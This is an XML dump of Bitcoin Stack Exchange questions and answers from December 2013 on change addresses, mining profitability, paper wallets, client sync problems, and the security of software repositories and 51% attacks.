  <row Id="17623" PostTypeId="2" ParentId="17621" CreationDate="2013-12-01T02:43:10.253" Score="5" Body="&lt;p&gt;What you are seeing is a &quot;change address&quot;.  When you send an amount that is less than you originally received, it sends the whole amount, and returns the difference to your wallet as &quot;change&quot;.  This change may not be spendable until the transaction is confirmed.  The change address is different each time, which makes it harder for a third party to tell for sure how much is sent to which wallet.  If you are not interested in privacy, you can use a different wallet (such as Electrum) which has an option to not use change addresses -- in that case the change would go back to your original address instead of to a new change address.&lt;/p&gt;&#xA;" OwnerUserId="628" LastActivityDate="2013-12-01T02:43:10.253" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17624" PostTypeId="2" ParentId="4014" CreationDate="2013-12-01T03:01:08.633" Score="0" Body="&lt;p&gt;use one of http proxies listed at &lt;a href=&quot;http://www.publicproxyservers.com/proxy/list_uptime1.html&quot; rel=&quot;nofollow&quot;&gt;http://www.publicproxyservers.com/proxy/list_uptime1.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./minerd --algo scrypt --url stratum+tcp://pool-server:port \&#xA;--userpass user:pass\&#xA;-P \&#xA;-x orlaproxy.info&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9486" LastActivityDate="2013-12-01T03:01:08.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17626" PostTypeId="1" CreationDate="2013-12-01T03:55:37.013" Score="0" ViewCount="1360" Body="&lt;p&gt;I want to understand how the mining process works so that I can code up my own bitcoin miner. Does anybody have pseudo code of a bitcoin miner that will help me achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, help with an implementation in C++ will be helpful.&lt;/p&gt;&#xA;" OwnerUserId="9775" LastEditorUserId="5406" LastEditDate="2016-04-25T21:32:03.690" LastActivityDate="2021-12-31T00:53:07.847" Title="Bitcoin Miner Pseudo code" Tags="|mining-software|mining-technical-details|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17627" PostTypeId="2" ParentId="17626" CreationDate="2013-12-01T04:01:08.800" Score="1" Body="&lt;p&gt;Please see the following: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1/what-open-source-miner-applications-are-there&quot;&gt;What open source miner applications are there?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Software#Mining_apps&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Software#Mining_apps&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/ckolivas/cgminer&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/ckolivas/cgminer&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1873" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2013-12-01T04:01:08.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17628" PostTypeId="1" CreationDate="2013-12-01T04:58:25.350" Score="1" ViewCount="490" Body="&lt;p&gt;Why is it giving me this error and not receiving my bit coins?  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;The system cannot find the path specified &quot;.org.multibit.file.WalletSaveException&quot;&#xA;Cannot save wallet 'C:\Program Files\MultiBit-0.5.15\null\MultiBit\multibit.wallet'&#xA;Created wallet &quot;C:\Program Files\MultiBit-0.5.15\null\MultiBit\multibit.wallet&quot;.&#xA;Could not load the wallet file &quot;C:\Program Files\MultiBit-0.5.15\null\MultiBit\multibit.wallet&quot;. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9784" LastEditorUserId="5406" LastEditDate="2014-09-05T12:26:55.133" LastActivityDate="2014-09-05T12:26:55.133" Title="Wallet not getting loaded with Multibit" Tags="|multibit|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17629" PostTypeId="1" AcceptedAnswerId="17688" CreationDate="2013-12-01T05:22:09.687" Score="2" ViewCount="135" Body="&lt;p&gt;Have been investigating some of the gateway apps and offline systems that are being developed. I was wondering what is the most secure way for a business to conduct itself. Let's use a bar as an example. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would assume a strategy like this would be a start.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Owner creates a cold storage wallet with some read only addresses. I am thinking as this being the safe. (maybe even print some out so employees can easily cash out)&lt;/li&gt;&#xA;&lt;li&gt;The bar then has an online accessible wallet.&lt;/li&gt;&#xA;&lt;li&gt;He outfits his mobile devices running one of the online gateways or maybe even the electrum wallets.&lt;/li&gt;&#xA;&lt;li&gt;Patron is ready to pay, the employee rings up the bill and says $xx.xx &lt;/li&gt;&#xA;&lt;li&gt;The employee and the patron do their transactions. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Here is the question...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How often should the employee dump the coin into the cold storage safe? I would think they would need some in case they needed to reimburse a customer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do you guys think is the optimal way for a business of anytime, customers or not should handle their coin?&lt;/p&gt;&#xA;" OwnerUserId="9667" LastActivityDate="2015-03-26T16:44:18.517" Title="Security for bitcoin businesses with Employees" Tags="|transaction-fees|electrum|coldstorage|business|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17630" PostTypeId="1" AcceptedAnswerId="17632" CreationDate="2013-12-01T05:50:18.987" Score="0" ViewCount="12604" Body="&lt;p&gt;I have a server with following specs which is using avg. 20% CPU daily :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Quad Core 3.20Ghz (E3-1230)&#xA;32GB RAM&#xA;1Gbps unmetered b/w&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My questions are :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1). With today's rates does it makes sense to CPU mine Bitcoins, what results should I expect? I used &lt;a href=&quot;http://www.coinish.com/calc/&quot; rel=&quot;nofollow&quot;&gt;http://www.coinish.com/calc/&lt;/a&gt; but it does not have anything near to my hardware specs. All other answers to similar questions take the old Bitcoin rates into consideration of profitability - with 1BTC=$1200+ the scenario must have changed a lot ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2). Secondly, can I use multiple servers and computers to work as a farm towards the common goal of mining bitcoins working as a team and will this help achieve the goal of profitability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The servers are used for hosting websites and I pay a fixed rental. So there is no additional investment or charges involved.&lt;/p&gt;&#xA;" OwnerUserId="9786" LastEditorUserId="5406" LastEditDate="2016-04-24T08:56:47.073" LastActivityDate="2016-04-24T08:56:47.073" Title="Is Bitcoin mining profitable on a 8 core, 32 GB server with unused capacity?" Tags="|mining-pools|mining-profitability|cpu-mining|" AnswerCount="1" CommentCount="0" ClosedDate="2015-11-07T18:20:00.027" ContentLicense="CC BY-SA 3.0" />
  <row Id="17632" PostTypeId="2" ParentId="17630" CreationDate="2013-12-01T06:01:43.930" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is Bitcoin mining profitable on a 8 core, 32 GB server with unused capacity?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I used &lt;a href=&quot;http://www.coinish.com/calc/&quot; rel=&quot;nofollow&quot;&gt;http://www.coinish.com/calc/&lt;/a&gt; but it does not have anything near to my hardware specs.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Expect 2-4MH per core. 38MH/s for all eight is all but useless. Maybe 80c a month, if that. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;with 1BTC=$1200+ the scenario must have changed a lot ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Secondly, can I use multiple servers and computers to work as a farm towards the common goal of mining bitcoins working as a team and will this help achieve the goal of profitability.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No.&lt;/p&gt;&#xA;" OwnerUserId="9790" LastActivityDate="2013-12-01T06:01:43.930" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17633" PostTypeId="2" ParentId="17615" CreationDate="2013-12-01T06:04:21.193" Score="1" Body="&lt;p&gt;No, it does not matter. Cheap 1x-16x extensions may either burn out or not work properly though, a powered one is essential. &lt;/p&gt;&#xA;" OwnerUserId="9790" LastActivityDate="2013-12-01T06:04:21.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17636" PostTypeId="2" ParentId="17618" CreationDate="2013-12-01T06:48:37.243" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;Find a service you like that will generate one for you, or do it yourself. A paper wallet is just the private and public key for an address printed together. Some clients and other software will generate these for you to simply write down. Others will present the keys in a fancier fashion, often with QR codes that can be scanned to import the wallet into wallet software. Two services that I'm aware of that do this are &lt;a href=&quot;https://bitcoinpaperwallet.com/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Paper Wallet&lt;/a&gt; and &lt;a href=&quot;https://safepaperwallet.com/&quot; rel=&quot;nofollow&quot;&gt;Safe Paper Wallet&lt;/a&gt;, but I can't vouch for either.&lt;/li&gt;&#xA;&lt;li&gt;If you're planning on depositing a large amount of bitcoins to the wallet, make sure to follow some basic security guidelines. Bitcoin Paper Wallet has some good ones outlined on their site. Keep in mind that anybody who knows the private key can access the bitcoins stored in it as their own now or at any time in the future. It's important that only you and the recipient are aware of what the private key is (any maybe not even you!)&lt;/li&gt;&#xA;&lt;li&gt;Print off the wallet and cut it out. Or just write down the public and private key pairs if you're going that route.&lt;/li&gt;&#xA;&lt;li&gt;Make sure to conceal the private key well so that it cannot be read by holding it up to a light. Also it's prudent to protect it against moisture, especially if it was printed on an inkjet printer. Placing the paper in a plastic bag is a good method.&lt;/li&gt;&#xA;&lt;li&gt;Finally, just send bitcoins to the wallet's address to load it up. Only someone with the private key printed (and concealed) on the wallet will be able to send them anywhere.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that whoever you're sending the money to should send the entire contents of the wallet to their own wallet when they open it, not just a part of it. They could potentially lose some of the balance if they only transfer a part of the balance off the paper wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, I wouldn't recommend sending too much money this way, especially by mail. The safest way to give bitcoins to someone is via the Bitcoin network!&lt;/p&gt;&#xA;" OwnerUserId="9791" LastActivityDate="2013-12-01T06:48:37.243" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17638" PostTypeId="2" ParentId="14081" CreationDate="2013-12-01T06:56:16.863" Score="5" Body="&lt;p&gt;Mining was never supposed to be profitable. And it's a derivative of bitcoin which is already risky speculation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't add the extra, annoying risk-without-an-upside of wondering whether BFL will ship your machine in time to turn a profit. Even they state that there's no guarantee that their machines are profitable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are sure that the price of bitcoin will go up, or even if you're not sure and you just want to take a bigger risk with more money, just buy more bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="9793" LastActivityDate="2013-12-01T06:56:16.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17641" PostTypeId="2" ParentId="17618" CreationDate="2013-12-01T07:43:38.753" Score="0" Body="&lt;p&gt;You need to import the private key that is on the paper to a wallet on your computer. Most wallets have a feature to do this. For example, you can import the key into a blockchain.info wallet and then you can send the coins normally.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-12-01T07:43:38.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17644" PostTypeId="1" CreationDate="2013-12-01T08:35:35.907" Score="1" ViewCount="1310" Body="&lt;p&gt;So bought my first Bitcoins the other day (27 &amp;amp; 28/11/13) on localcoins, then transferred them to a MultiBit wallet. No problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I decided to use a 'safer' wallet, therefore I moved the coins to a Bitcoin qt wallet. The last few days I've been waiting for the blockchain to sync..got to 97% then my comp crashed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I reopened bitcoin qt, and now it's syncing from zero again...just as slowly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do? Is there a way to open a another wallet, get my coins there?&lt;/p&gt;&#xA;" OwnerUserId="9800" LastEditorUserId="132" LastEditDate="2014-01-31T12:17:18.033" LastActivityDate="2016-08-26T00:54:07.623" Title="Bitcoin qt synchronization problems!" Tags="|bitcoin-core|synchronization|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17646" PostTypeId="2" ParentId="17644" CreationDate="2013-12-01T09:25:04.743" Score="0" Body="&lt;p&gt;As long as you have your &lt;code&gt;wallet.dat&lt;/code&gt; , that's where your coins are . Back it up and back it up again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start bitcoin-qt.exe from command line with -rescan command and see if that makes a difference. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is bitcoin-qt not showing your balance as unconfirmed ?&lt;/p&gt;&#xA;" OwnerUserId="4237" LastActivityDate="2013-12-01T09:25:04.743" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="17648" PostTypeId="1" AcceptedAnswerId="17670" CreationDate="2013-12-01T09:56:46.293" Score="3" ViewCount="462" Body="&lt;p&gt;Bitcoin QT, being a Linux application, is updated regularly when the application in the repository is being updated (For example, apt-get upgrade on Debian).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Theoretically, if a hacker could get into some Linux repository, he could replace the application with a malicious one that steals both the private key and the wallet file and send it to a remote server (effectively stealing all the Bitcoins from most the users).&#xA;If possible, even through social engineering, the incentive for such hack is enormous.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How likely/unlikely that to happen?&lt;/p&gt;&#xA;" OwnerUserId="9804" LastEditorUserId="9804" LastEditDate="2013-12-01T10:31:00.310" LastActivityDate="2013-12-05T16:12:32.193" Title="Could a hacker replace Bitcoin QT in some Linux repository and steal Bitcoins?" Tags="|bitcoin-core|security|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17649" PostTypeId="1" CreationDate="2013-12-01T10:02:53.583" Score="1" ViewCount="483" Body="&lt;p&gt;Recently synced bitcoinqt fully over around 36 hours or so without problem. I'm now trying to tentatively test it out as a newcomer and when I run it, it says &quot;out of sync&quot; No block source available 37  hours behind and 0 active connections to Bitcoin network. Should it automatically update each time it is run? Should it automatically connect to the network? Can I use only when fully synced? Apologies for the naivety of the questions but would appreciate someone's time with help?&lt;/p&gt;&#xA;" OwnerUserId="9805" LastActivityDate="2014-03-01T15:47:38.543" Title="syncing no block source" Tags="|blockchain|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17652" PostTypeId="1" CreationDate="2013-12-01T10:35:23.563" Score="1" ViewCount="144" Body="&lt;p&gt;I am thinking of making a shopping mall based on Bitcoin payment system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, as you all know, bitcoin market price experiences sudden rise and drop nowadays and It will also continue to fluctuate in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this situation, how should I make my shopping mall using Bitcoin ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Existing malls using Bitcoin are accepting that ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have to change my product prices every time the market price of Bitcoin such as MTgox and BTC-e is changed ??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have an idea about that?&lt;/p&gt;&#xA;" OwnerUserId="9806" LastActivityDate="2014-01-01T10:45:59.570" Title="about bitcoin market price for a shopping mall" Tags="|payment|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17653" PostTypeId="2" ParentId="17648" CreationDate="2013-12-01T11:14:23.123" Score="0" Body="&lt;p&gt;You need ONLY private key to steal the money - you don't need wallet.dat file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes it's possible to do BUT it's easier and most profitable to break in any exchange or pool site and steal a loot more in one go&lt;/p&gt;&#xA;" OwnerUserId="9148" LastActivityDate="2013-12-01T11:14:23.123" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17654" PostTypeId="2" ParentId="17644" CreationDate="2013-12-01T11:16:55.043" Score="0" Body="&lt;p&gt;Now that you've found the wallet.dat file you should indeed import it into blockchain.info and then, and this is very important, send the coins back to an address in your multibit wallet. Why? Because blockchain.info is convenient for casual use but is not safe for storing large amounts i.e don't make a habit of it. You should never have moved your coins from multibit in the first place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also backup your multibit wallet as well. You can find out the location of the wallet file in multibit window title bar.&lt;/p&gt;&#xA;" OwnerUserId="5273" LastActivityDate="2013-12-01T11:16:55.043" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="17655" PostTypeId="2" ParentId="17649" CreationDate="2013-12-01T11:19:37.993" Score="1" Body="&lt;p&gt;Just restart bitcoin qt and wait a while - for me always work&lt;/p&gt;&#xA;" OwnerUserId="9148" LastActivityDate="2013-12-01T11:19:37.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17656" PostTypeId="2" ParentId="17618" CreationDate="2013-12-01T11:40:14.587" Score="24" Body="&lt;p&gt;Spending money from a paper wallet is the hardest part. Making the wallets themselves is easy but spending the coins is harder than it should be. Here's a guide on how to do it safely:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a NEW wallet on blockchain.info. Keep in mind that you will only use this wallet for the express purpose of emptying your paper wallet. You will not reuse the paper wallet and you will not reuse the blockchain.info wallet.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Log into your blockchain.info wallet and go to Import/Export. You will get a warning about advanced usage. Agree to that to make it go away.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use the import private key option or the scan with webcam option to import your paper wallet private key. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Once you've done the import you &lt;em&gt;must&lt;/em&gt; spend the entire balance. Send what you need to an address owned by the other person and the rest to an address on your desktop client. Don't keep any balance in your blockchain.info wallet.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You might ask why go through the trouble to do all this. That is because sometimes if you import a private key it might be reused by the wallet app/web service and change is sent back to it. You want to avoid that because if you assume you've spent all the coins in the private key and then you make the private key public and change is sent to it somebody could steal your coins. So to avoid all that you import into a temporary blockchain.info wallet and spend all the coins in one go.&lt;/p&gt;&#xA;" OwnerUserId="5273" LastActivityDate="2013-12-01T11:40:14.587" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17657" PostTypeId="1" AcceptedAnswerId="17666" CreationDate="2013-12-01T11:44:56.963" Score="2" ViewCount="301" Body="&lt;p&gt;In order to perform a 51% attack someone has to concentrate huge amounts of computing power. Obviously this would be very expensive. But in return the attacker obtains the block reward and mining fees for every block mined during the attack window. Supposed mining is profitable, shouldn't this revenue compensate for the expenses?&lt;/p&gt;&#xA;" OwnerUserId="9175" LastEditorUserId="5406" LastEditDate="2015-06-09T20:43:35.453" LastActivityDate="2015-06-09T20:43:35.453" Title="Is a 51% attack really expensive?" Tags="|security|transaction-fees|majority-attack|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17661" PostTypeId="2" ParentId="16748" CreationDate="2013-12-01T13:37:53.373" Score="0" Body="&lt;p&gt;101% safe version:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Use Bitcoin QT to generate a wallet offline using a USB (pendrive) version of Ubuntu&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Export private key and write (don't print) it manually on paper (double check)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Power off your PC&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You can do the same with fresh Windows install BUT after you generate private key HARD FORMAT (wipe) HDD&lt;/p&gt;&#xA;" OwnerUserId="9148" LastActivityDate="2013-12-01T13:37:53.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17662" PostTypeId="2" ParentId="5706" CreationDate="2013-12-01T13:39:16.993" Score="0" Body="&lt;p&gt;The &lt;a href=&quot;https://github.com/richardkiss/pycoin&quot; rel=&quot;nofollow&quot;&gt;pycoin&lt;/a&gt; Python library could be a good starting point. It has a utility that will give you the public key for a given private key. Unfortunately it doesn't seem to have a command line interface suitable for easy programmatic use.&lt;/p&gt;&#xA;" OwnerUserId="9119" LastActivityDate="2013-12-01T13:39:16.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17665" PostTypeId="1" CreationDate="2013-12-01T14:30:36.467" Score="7" ViewCount="6585" Body="&lt;p&gt;The current state of Bitstamps order book is available here:&#xA;&lt;a href=&quot;https://www.bitstamp.net/api/order_book/&quot; rel=&quot;nofollow&quot;&gt;https://www.bitstamp.net/api/order_book/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to analyze the history of the order book.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do someone know if its available?&lt;/p&gt;&#xA;" OwnerUserId="9812" LastEditorUserId="2306" LastEditDate="2015-01-24T17:07:29.180" LastActivityDate="2019-08-01T08:06:55.890" Title="Bitstamp order book history" Tags="|api|bitstamp|historical-trade-data|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17666" PostTypeId="2" ParentId="17657" CreationDate="2013-12-01T14:56:48.553" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;They &lt;strong&gt;only&lt;/strong&gt; get that profit as long as they operate their 51% fairly by the rules. Which is still kind of okay for bitcoin. As soon as they start playing tricks, they risk losing more and more blocks as orphaned. For example to double spend they need to precalculate a block but keep it secret. For the time that it's secret they run the risk that someone else will find another block instead.&lt;/li&gt;&#xA;&lt;li&gt;Remember to get 51% of tomorrows network, the new player would have to more than &lt;strong&gt;double&lt;/strong&gt; todays network speed (and keep up with the growth). So that means buying 102% of the current network speed.&lt;/li&gt;&#xA;&lt;li&gt;Doing that halves the profits for everyone, including themselves. So even if mining is profitable for people now, the crooks will have to factor in a halving of the profits as well.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5292" LastEditorUserId="5292" LastEditDate="2013-12-03T21:01:33.750" LastActivityDate="2013-12-03T21:01:33.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17667" PostTypeId="2" ParentId="17142" CreationDate="2013-12-01T14:58:12.193" Score="1" Body="&lt;p&gt;To send or receive MSC, you only need a Bitcoin wallet when you have control over the private keys. so web wallets don't count&lt;/p&gt;&#xA;" OwnerUserId="3144" LastEditorUserId="120" LastEditDate="2013-12-01T16:27:26.607" LastActivityDate="2013-12-01T16:27:26.607" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17668" PostTypeId="1" CreationDate="2013-12-01T15:24:24.107" Score="3" ViewCount="6640" Body="&lt;p&gt;I've been trying to mine some quarkcoins pretty unsuccessfully. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can only find two pools that are up and neither seem to have returned anything, even after hashing for 24 hours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought perhaps putting a p2p quark pool up would be a good idea, but there are no guides anywhere, obviously it's new'ish. There are a lot of bitcoin p2p guides.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just wondering if anybody would be able to point me in the right direction of what parts of the bitcoin p2p I'd have to deviate from to get a quarkcoin p2p running?&lt;/p&gt;&#xA;" OwnerUserId="9559" LastEditorUserId="5406" LastEditDate="2013-12-03T13:50:10.867" LastActivityDate="2013-12-05T20:04:05.663" Title="Changing p2p to create a quark coin mining pool?" Tags="|alternatives|quarkcoin|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17669" PostTypeId="2" ParentId="17629" CreationDate="2013-12-01T15:32:36.810" Score="1" Body="&lt;p&gt;Why would you need to reimburse a customer? They should give you exact change and there's really no reason for them not to. I would recommend creating a daily cold storage wallet to receive bitcoins and then using some kind of online wallet service with a watch-only address so your employees can see the new deposits but they can't actually withdraw any of the coins.&lt;/p&gt;&#xA;" OwnerUserId="9540" LastActivityDate="2013-12-01T15:32:36.810" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17670" PostTypeId="2" ParentId="17648" CreationDate="2013-12-01T16:07:40.383" Score="2" Body="&lt;p&gt;Software distributors typically have authentication mechanisms to prevent an attacker from inserting malicious versions of their software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the case of Debian and its derivatives, there are two steps.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The binaries and data for bitcoin-qt are distributed as a .deb file.  A cryptographic hash (currently md5, sha1 and sha256) of this file is contained in the Packages list that apt-get uses to determine which packages are available.  If an attacker modifies the .deb file, say by breaking into one of the Debian mirror servers, the hash will not match and apt-get will refuse to install the package.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The Packages file is also distributed by the same servers, so an attacker could modify it so that the hash listed there matches the malicious .deb.  However, the Packages file is accompanied by a signature produced with Debian's master private key, so this signature would not match and apt-get would refuse to proceed.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thus in order to pull this off, the attacker would not only have to get access to a Debian mirror server, but also to the Debian master signing key, which should be well protected.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2013-12-01T16:07:40.383" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17671" PostTypeId="2" ParentId="13769" CreationDate="2013-12-01T16:22:45.740" Score="1" Body="&lt;p&gt;I agree that you really don't want to be mining with your cpu.  If this was with your gpu and this was happening, your debug output would probably involve a &quot;check your hardware&quot; error like the one many people got from the newest AMD SDK.  That is fixed by rolling back drivers to the best compatible set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should look at the console by going to the menu bar: View &gt; Show Console.  Click the tab that pops up named Console and perhaps post a screenshot of that.&lt;/p&gt;&#xA;" OwnerUserId="9818" LastActivityDate="2013-12-01T16:22:45.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17672" PostTypeId="2" ParentId="17652" CreationDate="2013-12-01T16:40:57.707" Score="2" Body="&lt;p&gt;There is a simpler option than to re-tag your products every day to keep up with ever changing prices. You could denominate the products in USD/EUR/... and advertise that you are accepting Bitcoin. Then you update your point-of-sale software to be able to do the USD/EUR/... to Bitcoin conversion on the fly, with regularly updated exchange rates. This way you always keep up to date, can give information on the current price in Bitcoin and accept Bitcoin payments, all while keeping the price tags stable.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-12-01T16:40:57.707" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17673" PostTypeId="1" AcceptedAnswerId="17683" CreationDate="2013-12-01T16:47:10.993" Score="1" ViewCount="5820" Body="&lt;p&gt;I want to give mining a try with the current video card i have. I know its not good for mining but its a start. I use cgminer and link it with WeMineLTC. For some reason I only get 52 KHash/s. I saw my GPU is at 100% and it isn't overclocked. What should be the reason I only get this low hash per second? I saw on &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; page it should be around 112 000 KHash/s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my bat file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cgminer.exe --scrypt -o stratum+tcp://global.wemineltc.com:3335 -u workIt -p totallymypsw -I 13&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9074" LastEditorUserId="5406" LastEditDate="2016-04-25T21:31:41.847" LastActivityDate="2016-04-25T21:31:41.847" Title="only getting 52khs on Litecoin mining with a Nvidia GTX670" Tags="|litecoin|miner-configuration|mining-software|gpu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
